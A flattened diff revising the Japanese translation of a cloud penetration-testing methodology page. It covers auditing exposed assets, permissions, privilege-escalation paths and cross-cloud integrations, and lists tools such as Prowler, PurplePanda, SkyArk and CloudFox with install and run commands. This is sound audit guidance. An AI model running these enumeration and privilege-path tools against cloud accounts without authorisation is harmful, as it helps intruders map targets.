ベンチマークテストを正しく実施した場合、ここで見つかる誤設定はあまり多くないでしょうが、ベンチマークテストで探されていなかったものを見つけることがあるかもしれません。 +- ベンチマークテストを正しく実施していれば、ここでさらに多くの誤設定を見つけることはないでしょうが、ベンチマークテストで見落とされていたものを見つけるかもしれません。 - これにより、クラウド環境で**何が正確に使用されているか**を知ることができます。 -- 次のステップに大いに役立ちます。 +- 次のステップで大いに役立ちます。 - **公開されている資産の確認** -- これは前のセクションで行うことができ、**インターネットに潜在的に公開されているすべてのもの**とそれにアクセスする方法を**見つける必要があります**。 -- ここでは、**手動で公開されたインフラ**(ウェブページを持つインスタンスや他のポートが公開されているもの)や、**公開されるように構成できる他のクラウド管理サービス**(DBやバケットなど)について取り上げています。 -- 次に、そのリソースが**公開される可能性があるかどうか**を確認する必要があります(機密情報?脆弱性?公開されたサービスの誤設定?)。 +- これは前のセクションで行うことができ、**インターネットに対して潜在的に公開されているすべてのもの**を見つけ出し、どのようにアクセスできるかを確認する必要があります。 +- ここでは、**手動で公開されたインフラ**(ウェブページを持つインスタンスや他のポートが公開されているもの)や、**公開されるように設定できる他のクラウド管理サービス**(DBやバケットなど)について取り上げています。 +- 次に、そのリソースが**公開可能かどうか**を確認する必要があります(機密情報?脆弱性?公開されたサービスの誤設定?)。 - **権限の確認** -- ここでは、クラウド内の各ロール/ユーザーの**すべての権限を見つける必要があります**。 -- **非常に特権の高い**(すべてを制御する)アカウントが多すぎる?使用されていない生成されたキー?... これらのチェックのほとんどはすでにベンチマークテストで行われているはずです。 -- クライアントがOpenIDやSAMLなどの**フェデレーション**を使用している場合、**各ロールがどのように割り当てられているか**についてさらに**情報を求める必要があります**(管理者ロールが1人のユーザーに割り当てられているのと100人に割り当てられているのは同じではありません)。 -- **管理者**権限を持つユーザーが**どれか**を見つけるだけでは**不十分です**。使用されるサービスによっては、非常に**敏感な**他の**権限**がたくさんあります。 -- さらに、権限を悪用する**潜在的な特権昇格**の方法があります。これらすべてのことを考慮に入れ、**できるだけ多くの特権昇格パスを報告する必要があります**。 +- ここでは、クラウド内の各ロール/ユーザーの**すべての権限を把握し**、それらがどのように使用されているかを確認する必要があります。 +- **特権の高い**(すべてを制御する)アカウントが多すぎる?使用されていない生成されたキー?... これらのチェックのほとんどはすでにベンチマークテストで行われているはずです。 +- クライアントがOpenIDやSAML、その他の**フェデレーション**を使用している場合、**各ロールがどのように割り当てられているか**についてさらに**情報**を求める必要があります(管理者ロールが1人のユーザーに割り当てられているのと100人に割り当てられているのは同じではありません)。 +- **管理者**権限を持つユーザーを見つけるだけでは**不十分**です "\*:\*"。使用されるサービスによっては、非常に**敏感な**他の**権限**がたくさんあります。 +- さらに、権限を悪用する**潜在的な特権昇格**の方法があります。これらすべてのことを考慮に入れ、**できるだけ多くの特権昇格パスを**報告する必要があります。 - **統合の確認** - **他のクラウドやSaaSとの統合**がクラウド環境内で使用されている可能性が非常に高いです。 -- **監査しているクラウドの統合**については、その統合を**(悪用する)アクセスを持つ人**を通知し、実行されているアクションが**どれほど敏感であるか**を尋ねる必要があります。\ -例えば、GCPがデータを取得しているAWSバケットに書き込むことができるのは誰か(GCPでそのデータを扱う際のアクションがどれほど敏感であるかを尋ねてください)。 -- **監査しているクラウド内の統合**については、外部プラットフォームからの**(悪用する)アクセスを持つ人**を尋ね、そのデータがどのように使用されているかを確認する必要があります。\ -例えば、サービスがGCRにホストされているDockerイメージを使用している場合、そのイメージを修正するアクセスを持つのは誰か、AWSクラウド内で実行されたときにそのイメージがどのような機密情報やアクセスを取得するかを尋ねる必要があります。 +- **監査しているクラウドの統合**については、その統合を**(悪用)するアクセス権を持つ人**を通知し、実行されているアクションが**どれほど敏感**であるかを尋ねる必要があります。\ +例えば、GCPがデータを取得しているAWSバケットに書き込むことができるのは誰か(GCPでそのデータを扱う際のアクションの敏感さを尋ねる)。 +- **監査しているクラウド内の統合**については、外部プラットフォームから**(悪用)するアクセス権を持つ人**を尋ね、そのデータがどのように使用されているかを確認する必要があります。\ +例えば、サービスがGCRにホストされているDockerイメージを使用している場合、そのイメージを修正するアクセス権を持つのは誰か、AWSクラウド内で実行されたときにそのイメージがどのような機密情報やアクセスを取得するかを尋ねる必要があります。 ## マルチクラウドツール @@ -38,7 +38,7 @@ ### [PurplePanda](https://github.com/carlospolop/purplepanda) -クラウドおよびクラウド/SaaS間の**悪い構成と特権昇格パスを特定する**ためのツールです。 +クラウドおよびクラウド/SaaS間の**悪い設定や特権昇格パスを特定する**ためのツールです。 {{#tabs }} {{#tab name="Install" }} @@ -71,7 +71,7 @@ python3 main.py -e -p google #Enumerate the env ### [Prowler](https://github.com/prowler-cloud/prowler) -**AWS、GCP、Azure**をサポートしています。各プロバイダーの設定方法については、[https://docs.prowler.cloud/en/latest/#aws](https://docs.prowler.cloud/en/latest/#aws)を確認してください。 +**AWS、GCP、Azure**をサポートしています。各プロバイダーの設定方法は[https://docs.prowler.cloud/en/latest/#aws](https://docs.prowler.cloud/en/latest/#aws)を確認してください。 ```bash # Install pip install prowler @@ -146,7 +146,7 @@ done {{#tabs }} {{#tab name="Install" }} -Steampipeをダウンロードしてインストールします([https://steampipe.io/downloads](https://steampipe.io/downloads))。または、Brewを使用します: +Steampipeをダウンロードしてインストールします ([https://steampipe.io/downloads](https://steampipe.io/downloads))。または、Brewを使用します: ``` brew tap turbot/tap brew install steampipe @@ -238,7 +238,7 @@ python2.7が必要で、メンテナンスされていないようです。 ### Nessus -Nessusには、AWS、Azure、Office 365、Rackspace、Salesforceをサポートする_**Audit Cloud Infrastructure**_スキャンがあります。**Azure**では、**Client Id**を取得するために追加の設定が必要です。 +Nessusには、AWS、Azure、Office 365、Rackspace、Salesforceをサポートする_**Audit Cloud Infrastructure**_スキャンがあります。**Azure**で**Client Id**を取得するために追加の設定が必要です。 ### [**cloudlist**](https://github.com/projectdiscovery/cloudlist) @@ -265,7 +265,7 @@ cloudlist -config ### [**cartography**](https://github.com/lyft/cartography) -Cartographyは、Neo4jデータベースによって強化された直感的なグラフビューで、インフラストラクチャ資産とそれらの関係を統合するPythonツールです。 +Cartographyは、インフラストラクチャ資産とそれらの関係を、Neo4jデータベースによって強化された直感的なグラフビューで統合するPythonツールです。 {{#tabs }} {{#tab name="Install" }} @@ -302,7 +302,7 @@ ghcr.io/lyft/cartography \ ### [**starbase**](https://github.com/JupiterOne/starbase) -Starbaseは、クラウドインフラストラクチャ、SaaSアプリケーション、セキュリティコントロールなどのサービスやシステムから資産と関係を収集し、Neo4jデータベースに基づいた直感的なグラフビューに表示します。 +Starbaseは、クラウドインフラストラクチャ、SaaSアプリケーション、セキュリティコントロールなどのサービスやシステムから資産と関係を収集し、Neo4jデータベースに基づいた直感的なグラフビューにまとめます。 {{#tabs }} {{#tab name="Install" }} @@ -361,7 +361,7 @@ uri: bolt://localhost:7687 ### [**SkyArk**](https://github.com/cyberark/SkyArk) -スキャンされたAWSまたはAzure環境で最も特権のあるユーザーを発見します。AWS Shadow Adminsを含みます。PowerShellを使用します。 +スキャンされたAWSまたはAzure環境で最も特権のあるユーザーを発見します。これにはAWS Shadow Adminsが含まれます。PowerShellを使用します。 ```powershell Import-Module .\SkyArk.ps1 -force Start-AzureStealth @@ -376,11 +376,11 @@ Scan-AzureAdmins ### [CloudFox](https://github.com/BishopFox/cloudfox) -- CloudFoxは、クラウドインフラストラクチャ内の悪用可能な攻撃経路を見つけるためのツールです(現在はAWSとAzureのみサポート、GCPは近日中に対応予定)。 +- CloudFoxは、クラウドインフラストラクチャ内の悪用可能な攻撃経路を見つけるためのツールです(現在はAWSとAzureのみサポート、GCPは今後対応予定)。 - 手動のpentestingを補完することを目的とした列挙ツールです。 - クラウド環境内のデータを作成または変更することはありません。 -### クラウドセキュリティツールのさらなるリスト +### クラウドセキュリティツールのリスト - [https://github.com/RyanJarv/awesome-cloud-sec](https://github.com/RyanJarv/awesome-cloud-sec) @@ -412,7 +412,7 @@ azure-security/ ### 攻撃グラフ -[**Stormspotter** ](https://github.com/Azure/Stormspotter)は、Azureサブスクリプション内のリソースの「攻撃グラフ」を作成します。これにより、レッドチームやpentesterは攻撃面とテナント内のピボット機会を視覚化でき、ディフェンダーはインシデントレスポンス作業を迅速に方向付け、優先順位を付けることができます。 +[**Stormspotter** ](https://github.com/Azure/Stormspotter)は、Azureサブスクリプション内のリソースの「攻撃グラフ」を作成します。これにより、レッドチームやpentesterはテナント内の攻撃面とピボットの機会を視覚化でき、ディフェンダーはインシデント対応作業を迅速に方向付け、優先順位を付けることができます。 ### Office365